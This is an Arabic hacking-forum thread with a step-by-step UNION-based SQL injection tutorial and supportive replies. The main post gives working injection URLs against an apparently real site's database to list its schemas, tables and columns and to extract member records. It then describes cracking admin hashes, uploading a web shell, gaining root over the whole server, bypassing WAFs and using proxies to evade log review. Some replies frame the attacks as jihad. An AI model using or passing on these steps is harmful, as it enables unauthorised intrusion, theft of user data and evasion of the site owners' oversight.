1- استخدام استعلام جديد اسمه Limit .
هذا الاستعلام يجعلنا نحدد عدد القيم التي نريد اظهارها على الشاشة, وفي نفس الوقت يجعلنا نحدد القيمة التي نبدأ بها.
مثال: أنا اقوم بسحب عمود به 50 خانة. استطيع استخدام Limit وأجعل الشاشة يظهر عليها أول 10 خانات فقط. أيضاً أستطيع ان اظهر آخر 10 خانات. أو اظهر ال10 خانات من 35 إلى 45.
رائع.
كيف إذاً نستخدم Limit ؟؟؟؟
سهلة... تقوم بكتابة Limit X,Y
ثم نستبدل X بالخانة التي نريد البداية بإظهارها.
ونستبدل Y بعدد الخانات التي نظهرها.
مثال: أريد سحب أول خانتين... استعمل Limit 0,2
لاحظوا كيف اني بدأت بالصفر.. لأن عدد الخانات في العمود يبدأ بالصفر. لكن عدد الخانات التي اريد سحبها لا يكون به صفر.

2- استخدام استعلام جديد اسمه ()group_concat .
ملحوظة: للذين لديهم معلومات في لغات البرمجة..... هذا الاستعلام عبارة عن function أي اننا نضع ما نريده داخل الأقواس.
اكملوا القراءة وستفهمون المقصد.
كلمة group عبارة عن فعل بمعنى "تكوين مجموعة" وكلمة concat اختصار لكلمة concatenation أي "جمع" و "لصق".
هناك استعلام اسمه ()concat يستخدم ل"لصق" استعلامين أو اكثر مع بعض.
مثال: اريد اظهار اسم قاعدة البيانات وفي نفس الوقت اريد معرفة اصدار الMySQL... استعمل (()concat(version(),database
أما عن استعلام ()group_concat , فإنك تكتب بداخله شيء وهو يقوم ب"جمع" كل الأشياء الموجودة بداخله (إن كان عموداً) وي"لصقــ"ها ببعضها ويظهرها لك على الشاشة.
إلى جانب هذه الوظيفة الجميلة لإستعلام ()group_concat ,فإنه يستطيع ان يؤدي وظيفة استعلام ()concat العادي ايضاً.
سوف أستكمل حقن الموقع الذي نعمل عليه, وسنطبق عليه الطريقتين السابقتين



نجرب الطريقة الأولى باستعمال LIMIT.
بما أننا عرفنا انه توجد خانة واحدة فقط تظهر على الشاشة, فإن الرقم الثاني المستخدم في LIMIT لكن يشكل فارقاً, لأننا مهما زدناه لن تظهر سوى خانة واحدة على الشاشة.
نبدأ بأول خانة (رقم صفر)
index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 0,1


نزيد الرقم واحد لنظهر الخانة الثانية
index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 1,1


نزيد الرقم واحد لنظهر الخانة الثالثة
index.php?id=1 and false union select 1,schema_name,3,4,5,6,7 from information_schema.schemata LIMIT 2,1

من الواضح ان الخانة الثالثة خالية (إذاً لا توجد سوى قاعدتين بيانات).

سهلة طريقة limit, أليس كذلك؟؟
سوف أريكم الآن الطريقة الثانية group_concat وهي أسهل بمرااااااااحل.



كل ما علينا فعله هو وضع كلمة Schema_name داخل القوسين الخاصين ب ()group_concat . يكون الرابط هكذا:

index.php?id=1 and false union select 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata


سهلة جداً الحمد لله ربّ العالمين.


الآن نسحب تاني معلومة من قاعدة بيانات information_schema وهي table_name (أسامي الجداول الموجودة).
ملحوظة: نحن لا نريد سحب أسماء الجداول الموجودة في قاعدة البيانات information_schema, بل اريد اسماء الجداول في قاعدة البيانات الثانية CLANWI_DB1.

سهلة..... بدلاً من schema_name, سوف أكتب table_name.
هذا العمود (table_name) اريد سحبه من جدول اسمه tables في قاعدة بيانات اسمها information_schema... وبالتالي اضيف
from information_schema.tables.
ثم في النهاية اضيف شيء مهم جداً لتحديد النتائج التي ستظهر على الشاشة. سوف اضيف شرط باستخدام WHERE لأقول انني اريد اسماء الجداول في قاعدة بيانات CLANWI_DB1 فقط, ستكون كالتالي WHERE table_schema=CLANWI_DB1

index.php?id=1 and false union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables
'WHERE table_schema='clanwi_db1


سوف نجد ان هناك الكثير من الجداول.

اللآن نختار اي جدول لنحاول سحب البيانات منه.
نختار مثلاً TBLMEMBERUSAGE لأنه يبدو انه يحتوي على معلومات خاصة بأعضاء الموقع
قبل سحب البيانات منه, يجب ان اعرف اسماء الأعمدة الموجودة به, لأنه ربما يحتوي على أعمدة كثيرة وأنا لا اريد ان اظهرها كلها حتى لا تملأ الشاشة وتختلط الكلمات ببعضها.
نريد سحب المعلومات المهمة فقط.
بالتأكيد أنتم الآن تعرفون اين توجد أسماء الأعمدة. بداخل عمود اسمه column_name في جدول اسمه Columns في قاعدة في قاعدة بيانات اسمها information_schema.
ممتاز.
إذاً, لكي نعرف اسماء الأعمدة نستخدم الاستعلام الآتي:
UNION SELECT column_name
FROM information_schema.columns
'WHERE table_schema='clanwi_db1
'AND table_name='TBLMEMBERUSAGE
لاحظوا كيف استعملت WHERE واستعملت معها شرطين اثنين لتحديد النتيجة التي اريدها بالظبط.
طبعاً لن نضع الاستعلام هكذا بدون group_concat لأننا نريد جميع النتائج وليس خانة واحدة فقط.

فيكون رابط الموقع كالآتي:

index.php?id=1 and false union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns
'WHERE table_schema='clanwi_db1' AND table_name='tblmemberusage


رائع... حصلنا على اسماء الأعمدة...

فلنسحب بعض البيانات الآن....
ما رأيكم بأن نسحب المعلومات الموجودة في عمودي RowID و IP؟؟؟
هيا بنا...
أول شيء... نحدد ما سنكتبه في الاستعلام..
نحن نريد سحب عمودين اسمهما RowID و IP موجودان بجدول اسمه TBLmemberUsage موجود بقاعدة بيانات اسمها ClanWi_Db1.
إذاً, سيكون الاستعلام كالآتي:
UNION SELECT RowID,IP
FROM clanwi_db1.tblmemberusage
طبعاً لا تنسوا ()group_concat لكي تظهر لنا كل النتائج بدلاً من خانة واحدة.

فيكون رابط الموقع كالآتي:

index.php?id=1 and false union select 1,group_concat(RowID,IP),3,4,5,6,7 from clanwi_db1.tblmemberusage



إذا دققتم, سوف تجدون أنه أول ID رقمه 1, ثم ملصق به أول IP رقمه 127.0.0.1
ثم ثاني ID رقمه 2, وملصق به أول IP رقمه 127.0.0.1
وهكذا..
يمكن أيضاً بدلاً من استعمال group_concat, تستعمل LIMIT وتمشي واحدة واحدة.

هنا ينتهي شرح الحقن.

اريدكم ان تراقبوا هذه الصورة وتقارنوها بالصورة السابقة:


هذا هو ما يطلع عليه "تنسيق النتائج". لن أشرحه في هذا الموضوع حتى لا أطيل.
سوف أشرحه بالتفصيل الممل ان شاء الله في موضوع قادم بعنوان "تنسيق نتائج الحقن باستخدام أكواد HTML ".



الآن أتوقع من كل شخص يقرأ هذا الموضوع انه يستطيع عمل الآتي:
1- التأكد من كون الموقع قابل للحقن أم لا.
2- معرفة عدد الأعمدة في الصفحة التي تظهر له.
3- معرفة الأعمدة المصابة التي تظهر على الشاشة ويمكن الحقن بداخلها.
4- حقن باستخدام اوامر ()user و ()version و ()database في العمود المصاب.
5- معرفة اسماء قواعد البيانات الموجودة.
6- معرفة اسماء الجداول في قاعدة بيانات معينة.
7- معرفة اسماء الأعمدة في جدول معين في قاعدة بيانان معينة.
8- سحب البيانات من أي عمود تحبه.



سوف اترك لكم سؤالاً (كنوع من المسابقة) لتجيبوا عليه. السؤال سهل جداً وإجابته موجودة في وسط الشرح فوق.
السؤال:
اكتب الاستعلام الذي يُظهِر لي عدد الجداول الموجودة.



وأيضاً سوف أترك لكم بضع مواقع مصابة هنا لتتدربوا عليها.


انتهى شرح الحقن البسيط بحمد الله تعالى.
الآن سوف اقول لكم ماذا يجب ان تفعلوا بعد اتقان الخطوات السابقة:

1- موقع W3 Schools عليه شرح ممتاز عن الSQL. فهمك الاحترافي للغة نفسها سوف يساعدك على فهم خباياها وحتى ابتكار طرق وتقنيات جديدة في الحقن مثلما يفعل أخونا Black-rose الله يبارك له .
2- يجب ان تعلم انه يوجد شيء اسمه جدار ناري لتطبيقات الانترنت (Web Application Firewall (WAF . هذا الجدار الناري يمنع استخدام بعض الكلمات مثل SELECT او غيرها. توجد أنواع كثيرة جداً من الWAF, وكل نوع له طريقة مختلفة لتخطيه. يمكن متابعة المواضيع التي تتحدث عنه في قسم الحقن, مثل هذه المواضيع:
# لأول مره - كسر Forbidden بثغرة Sql Injection + تنفيذ الاوامر واستخراج الجداول
WAF bypassing SQLI-1
[كتاب] SQL Injection Bypassing HandBook [جديد بالإنجليزية]
تخطي فلتره union & select
تخطي Not AcCePtaBlE أثناء الحقن الأعمى (BlInD)
?¸.•*? Pocket Reference‏ Error_Bypassing ?*•.¸?
3- ابدأ في تعلم الحقن المتقدم. فهناك مواقع مصابة ولكنها تفلتر الحقن البسيط الذي شرحته لكم. تلك المواقع يمكن حقنها بطرق متقدمة.
منها Time based injection و Error based injection و Double query injection و X-path injection و Header injection و C00kies injection و String based injection و Boolean based injection .
توجد لها شروحات فوق الممتازة هنا في منتديات قراصنة غزة, مثل:
تحديث الصفحة المرحله الأولى : [1] : || Error Based || Double Query ||
[ حصرياً ] استكمال الحقن عن طريق الخطاء الناتج / c v method
4- يمكنك استعمال بعض الأدوات التي تقوم بالحقن اوتوماتيكياً مثل SQLmap, لكن يفضّل ان تعتمد على نفسك وتحترف الحقن اليدوي. هذه الأدوات سوف تساعدك في حالات مثل Blind SQL injection والتي نقوم فيها بالتخمين.
5- بعد حقن الموقع والحصول على اسم المستخدم username وكلمة السر password تبع الأدمن administrator , نقوم بالبحث عن الصفحة التي ندخل فيها اليوزر والباس. في الأغلب لا تكون صفحة دخول الأدمن هي نفس صفحة دخول أعضاء الموقع, ويكون رابطها غير معروف سوى للأدمن الذي يستخدمها. هناك طرق سهلة للبحث عنها, وتوجد شروحات أيضاً هنا في منتديات قراصنة غزة.
**ملحوظة: دائماً عندما تسحب الباسورد من قاعدة البيانات, سوف تحصل عليه مشفّر بhash. يمكن فك التشفير decrypt بسهولة. (ابحث عن مواضيع في منتديات قراصنة غزة عن الhash)
6- بعد ادخال اليوزر والباس تبع الأدمن في صفحة الدخول, سوف تنقلنا إلى لوحة تحكّم الأدمن (Control Panel (CPanel والتي نستطيع من خلالها رفع الشل Shell لكي نتمكن من السيطرة الكاملة على الموقع وتنفيذ اوامر خاصة. ابحثوا في منتديات قراصنة غزة عن شروحات للShell وطرق رفعه والأوامر التي نستعملها فيه.
7- في بعض الحالات نستطيع ان نحصل على صلاحيات كاملة Permissions في السيرفر المرفوع عليه الموقع, ونستطيع ان نصل إلى الرووت Root وبذلك نستطيع ان نتحكم في كل المواقع المستضافة على هذا السيرفر, وليس فقط الموقع الذي قمنا باختراقه.
8- بعد احترافك للحقن ان شاء الله, يمكنك ان تبدأ فهم طرق اخرى لاختراق المواقع. أرشح لكم الآتي: XSS و LFI و RFI و Buffer overflow exploitation .


**************************************************
***************************************
****************************
*****************
********
*


بعض النصائح الشخصية:
1- لا تستسهل الأمور وتستعمل الأدوات بدلاً من أن تتعلم الحقن بطريقة صحيحة. بل تعلّم الحقن, واحترف الحقن, واحترف لغات البرمجة واصنع ادوات تساعدك.
3- لا تبخل على غيرك بالعلم, ولا تستحي ان تسأل إذا قابلت بعض المشاكل.
4- لا تستخدم قدراتك ومعلوماتك في اختراق اخوانك المسلمين, فنحن كلنا اخوة ان شاء الله مهما حدث, ولا يجب ان نترك الصهاينة ولو للحظة.
5- دائماً يجب ان تستخدم بروكسي proxy اثناء الحقن لأن كل السيرفرات يكون فيها سجلات Logs بها ايبيهات والاستعلامات التي يقومون بها. وبعض القائمين على السيرفرات يتفحصون هذه السجلات من حين لآخر, فالاحتياط واجب.
6- قبل ان تبدأ بحقن أي موقع, أنصحك بأن تتعرف على نوع النظام المستخدم لإنشاء قاعدة البيانات (مثل MySQL أو MsSQL أو Oracle), وذلك يكون سهل جداً بعملية تسمى رفع البصمات Fingerprinting . على منتديات قراصنة غزة توجد شروحات لا مثيل لها كتبها اخي blackrose بارك الله فيه.






تم بحمد الله.
فما كان من صواب فمن الله الواحد المنّان، وما كان من خطأ أو تقصير فمني ومن الشيطان.



توقيع : Ergo

قلوبنا تشتاق إلى الأقصى

رد مع إقتباس
2 أعضاء آرسلو آعجاب لـ Ergo على المشاركة المفيدة:
coner (07-16-2014), MrKurd (06-12-2016)
بياناتي
 رقم المشاركة : ( 2 )
Casper
:: فريق قراصنة غزة ::

رقم العضوية : 20
تاريخ التسجيل : Jul 2009
مكان الإقامة :
عدد المشاركات : 14,333
عدد النقاط : 10

Casper غير متواجد حالياً

غريب ./~ حَنتِ يَدآيَ لـِ مِسَآسِ يدآها [ BK ]

افتراضي

كُتب : [ 07-16-2014 - 01:10 PM ]


ماشاء الله .. بارك الله فيك اخي واحلا تقييم واحلا تثبيت ويتم نشر الموضوع

توقيع : Casper


أدركت سر رعب الطواغيت من الحركات الإسلامية الخالصة، وهلعهم من أبنائها الصادقين، وذلك لأنهم يتمردون على الدنيا التي يملكها الطغاة، ويدوسون المتاع الرخيص الذي بين أيدي الجبابرة والذي من خلاله يجمعون القطيع ويسوقونه إلى مذابح شهواتهم قرابين رخيصة، إنها عناصر فريدة لا تباع في سوق النخاسة ولا تذوب في حوامض الجاهلية، فتحافظ على أصالتها ونقائها ومثلها ومبادئها في أي جو عاشت ومع أي قوى التقت.
ـــــــــ
عبد الله عزام تقبله الله


رد مع إقتباس
بياناتي
 رقم المشاركة : ( 3 )
coner

رقم العضوية : 50381
تاريخ التسجيل : Sep 2013
مكان الإقامة :
عدد المشاركات : 32
عدد النقاط : 10

coner غير متواجد حالياً

افتراضي

كُتب : [ 07-16-2014 - 01:39 PM ]


جزاك الله خيرا


توقيع : coner



رد مع إقتباس
بياناتي
 رقم المشاركة : ( 4 )
حنين فلسطين

رقم العضوية : 59308
تاريخ التسجيل : Jun 2014
مكان الإقامة :
عدد المشاركات : 49
عدد النقاط : 10

حنين فلسطين غير متواجد حالياً

افتراضي

كُتب : [ 07-16-2014 - 01:54 PM ]


بارك الله فيك أخي على هذا المجهود الرائع هذا شرح مفصل يفيد المبتدئين مثلي. أجرك عظيم لأنك تساعد اخوانك المسلمين في كفاحهم وجهادهم.


توقيع : حنين فلسطين



رد مع إقتباس
بياناتي
 رقم المشاركة : ( 5 )
direct

رقم العضوية : 46033
تاريخ التسجيل : Jul 2013
مكان الإقامة :
عدد المشاركات : 2
عدد النقاط : 10

direct غير متواجد حالياً

افتراضي

كُتب : [ 07-16-2014 - 05:06 PM ]


بـــــارك الله فيك اخي الكريم


توقيع : direct



رد مع إقتباس
بياناتي
 رقم المشاركة : ( 6 )
aywanvictori
مشرف
رقم العضوية : 13543
تاريخ التسجيل : Sep 2010
مكان الإقامة :
عدد المشاركات : 944
عدد النقاط : 10

aywanvictori غير متواجد حالياً

افتراضي

كُتب : [ 07-16-2014 - 07:03 PM ]


ما شاء الله اخي
ممكن تفيني فايسبوك بتاعك بدي مساعدتك في أشياء ^^


توقيع : aywanvictori

شكرا رووح
كل انجازاتي اهديها ل كاسبر جزائر مارڤيل ليون ليتو بلاك روز وكل من ساهم في تكويني

رد مع إقتباس
بياناتي
 رقم المشاركة : ( 7 )
Ergo

رقم العضوية : 59491
تاريخ التسجيل : Jun 2014
مكان الإقامة :
عدد المشاركات : 13
عدد النقاط : 10

Ergo غير متواجد حالياً

افتراضي

كُتب : [ 07-16-2014 - 09:48 PM ]


اقتباس
المشاركة الأصلية كتبت بواسطة Casper مشاهدة المشاركة
ماشاء الله .. بارك الله فيك اخي واحلا تقييم واحلا تثبيت ويتم نشر الموضوع
جزاك الله خيرا أخي Casper .
ان شاء الله هعمل شرح في خلال اليومين القادمين عن كيفية تنسيق نتائج الحقن باستخدام أكواد HTML.
بعدها هستكمل شرح تفصيلي أيضاً للdouble query لأن كثير من الناس لا يستوعبون كيف يعمل بالظبط, ولا يعرفون كيف يتعاملون مع الحمايات الجديدة.
ان شاء الله بعد ما أعمل الشرح هرسل لك على الخاص عشان تضيفه على الموضوع هنا.

اقتباس
المشاركة الأصلية كتبت بواسطة coner مشاهدة المشاركة
جزاك الله خيرا
اقتباس
المشاركة الأصلية كتبت بواسطة direct مشاهدة المشاركة
بـــــارك الله فيك اخي الكريم
جزانا وإياكم يا شباب.
حاولوا تجاوبوا على السؤال الموجود في نهاية الشرح


اقتباس
المشاركة الأصلية كتبت بواسطة حنين فلسطين مشاهدة المشاركة
بارك الله فيك أخي على هذا المجهود الرائع هذا شرح مفصل يفيد المبتدئين مثلي. أجرك عظيم لأنك تساعد اخوانك المسلمين في كفاحهم وجهادهم.
الله يكرمك يا أخي. حاول تفهم الشرح وتستوعبه جيداً, ثم جاوب على السؤال الموجود في نهاية الشرح.


اقتباس
المشاركة الأصلية كتبت بواسطة aywanvictori مشاهدة المشاركة
ما شاء الله اخي
ممكن تفيني فايسبوك بتاعك بدي مساعدتك في أشياء ^^
لا أتعامل بالفيس بوك يا أخي. كلمني على الخاص هنا على الموقع.

توقيع : Ergo

قلوبنا تشتاق إلى الأقصى

رد مع إقتباس

اضافة رد

العلامات المرجعية

الكلمات الدلالية (Tags)
للاحتراف, للحقن, الله, البداية, تفصيلي, بإذن, حصري, شرح


يتصفح الموضوع حالياً : 1 (0 قرصان و 1 ضيف)
 
أدوات الموضوع
انواع عرض الموضوع

ضوابط المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا يمكنك اضافة مرفقات
لا يمكنك تعديل مشاركاتك

BB code متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
مقامات عايض القرني الغضب .:: كتب الكترونية منوعة ::. 4 02-16-2014 06:05 AM
:: هذا الحبيب يا مُحـب :: قراصنة غزة قسم الدفاع عن النبي محمد والصحابة وآل البيت 6 07-03-2013 11:49 AM
بدايات الفتنة قراصنة غزة قسم الدفاع عن النبي محمد والصحابة وآل البيت 0 06-20-2011 08:36 PM
شرح الاصول الثلاثة بن عثيمين رحمه الله الاصل الثاني يتبع khalil-ss .:: القسم الإسلامي العام ::. 3 12-04-2010 10:50 PM
جديد !! حكم و مواعظ ... Red Line .:: قسم للتوعية الأمنية ::. 12 05-03-2010 12:53 PM


جميع الأوقات بتوقيت GMT +2. الساعة الآن 06:33 PM.



أقسام المنتدى

الأقسام الإسلامية @ .:: القسم الإسلامي العام ::. @ .:: قسم القرآن الكريم وتجويده ::. @ .:: قسم الاناشيد والشريط الاسلامي ::. @ .:: سيرة و قصص الأنبياء و الصحابة ::. @ الأقسام العامة @ .:: قسم الساحة العامة ::. @ .:: قسم فـلـسـطــيــن ::. @ .:: قسم للتوعية الأمنية ::. @ .:: عالم البرامج الكاملة والنادرة ::. @ .:: قسم أخبار التقنية المعلوماتية والتكنولوجية ::. @ .:: قسم عالم المحادثة ::. @ .:: قسم الأمن و الحماية | Security ::. @ ::. قسم حماية الاجهزة والايميلات .:: @ ::. قسم حمايه المواقع والسيرفرات.:: @ ::. قسم إختراق المواقع والأجهزة والبريد الإلكتروني | Hacker .:: @ ::. قسم إختراق المواقع والمنتديات .:: @ ::.قسم إختراق الأجهزه والبريد الاكتروني .:: @ .:: قسم الثغرات ::. @ .:: الركن الترفيهي ::. @ .:: قسم الصور ::. @ .:: ركن الأدارية ::. @ .:: قسم الشكاوي ولأقتراحات ::. @ خاص بشروحات الفيديو @ الأدوات , hack tools @ .:: قسم مساعدة الاعضاء ::. @ :: المواضيع المحذوفة :: @ قسم الانجازات @ .:: جديد قراصنة غزة ::. @ :: قسم استراحة الأعضاء :: @ :: YouTube :: @ .:: القسم التقني ::. @ :: عالمـ الكومبيوتر :: @ :: قسم الجوالات والاتصالات :: @ :: قسم التصميم والغرافيك :: @ خاص للادارة والمشرفين @ :: قسم خاص بالمبتدئين :: @ :: خاص بثغرات المتصفح :: @ :: خاص بشروحات الفيديو :: @ .:: الدورات المقدمة من المشرفين ::. @ :: مشآكل الكومبيوتر وحلولها :: @ .:: للنقاش الجاد ::. @ الملتقى الأدبي .. @ :: طلبات الإشراف :: @ :: كتب الحماية والاختراق security&hacking :: @ البحوث العلمية @ تعليم اللغات الأجنبية @ .:: كتب الكترونية منوعة ::. @ .:: القسم الدعوي ::. @ قسم الكتب الاسلامية @ قسم المواضيع المميزة @ :: قسم خاص بالتشفير :: @ قسم اخبار العالم وقضايا الأمة الإسلامية @ Local root @ دورة إحترآف إلـ Spam Email @ فلسطين , palestine @ .:: مدن وقرى فلسطين ::. @ .:: تاريخ فلسطين ::. @ .:: شهداء فلسطين ::. @ .:: مدينة القدس ::. @ .:: مدينة غزة ::. @ .:: لعروض التصاميم ::. @ .:: لدروس التصاميم ::. @ :: قسم اصدارات وانجازات الفريق :: @ .:: قسم قضية فلسطين ::. @ .:: قسم عروض الاستايلات :.. @ قسم اخبار وقضايا اليهود @ .:: قسم الهاكات وتطوير المنتديات ::. @ ::. قسم المسابقات والنشاطات .:: @ لوحة تحكم سي بانل , cPanel Management @ حماية قواعد البيانات mysql , sql @ لوحة تحكم , Plesk Management @ ادارة سيرفرات Linux @ .:: SQL-injection , حقن قواعد بيانات ::. @ :: قسم خاص بالمبتدئين :: @ .:: قسم الكتب الالكترونية E-BOOK ::. @ .:: قسم تفسير القران الكريم ::. @ قسم الدفاع عن النبي محمد والصحابة وآل البيت @ .:: قسم لغات البرمجة ::. @ قسم برمجة لغة Php , Html @ قسم برمجة لغة mysql , sql @ .:: القسم الرمضانى ::. @ جديد الشيخ نبيل العوضى @ حجب الخدمة , ddos attack @ قسم الاختراق المتقدم @ .:: حماية الاجهزة وطرق كشف التلغيم ::. @ .:: قسم حماية الايميلات :. @ قسم اختراق سيرفرات windows @ .:: دورة قراصنة غزة للتصميم ::. @ .::: أسرى فلسطين ::. @ مدرسة قراصنة غزة لحقن قواعد البيانات @ ::. قسم مشروع الباك تراك backtrack , الميتاسبلويت MetaSploit .:: @ فريق :: Gaza HaCker Injector Team-GHI :: @ دورة أساتذة حقن قواعد البيانات المتقدمة لعام 2017 / 2018 @ GH-InjeCtor-Team @ .:: قسم الصلاة ثم الصلاة ::. @ وَحَرِّضِ الْمُؤْمِنِينَ @ قسم انظمة لينكس Linux, Unix @ قسم الالعاب الالكترونية @ قسم اختراق الشبكات السلكية واللاسلكية @ قسم الميكاترونكس (بناء الروبوتات) @ قسم الدورات المدفوعة @ قسم اختراق الاجهزة اللوحية @ دورات حقن قواعد البيانات للمٌبتدئين من الألف إلى الإحتراف @ قسم الحقن المٌتقَدِّم [بداية العهد] @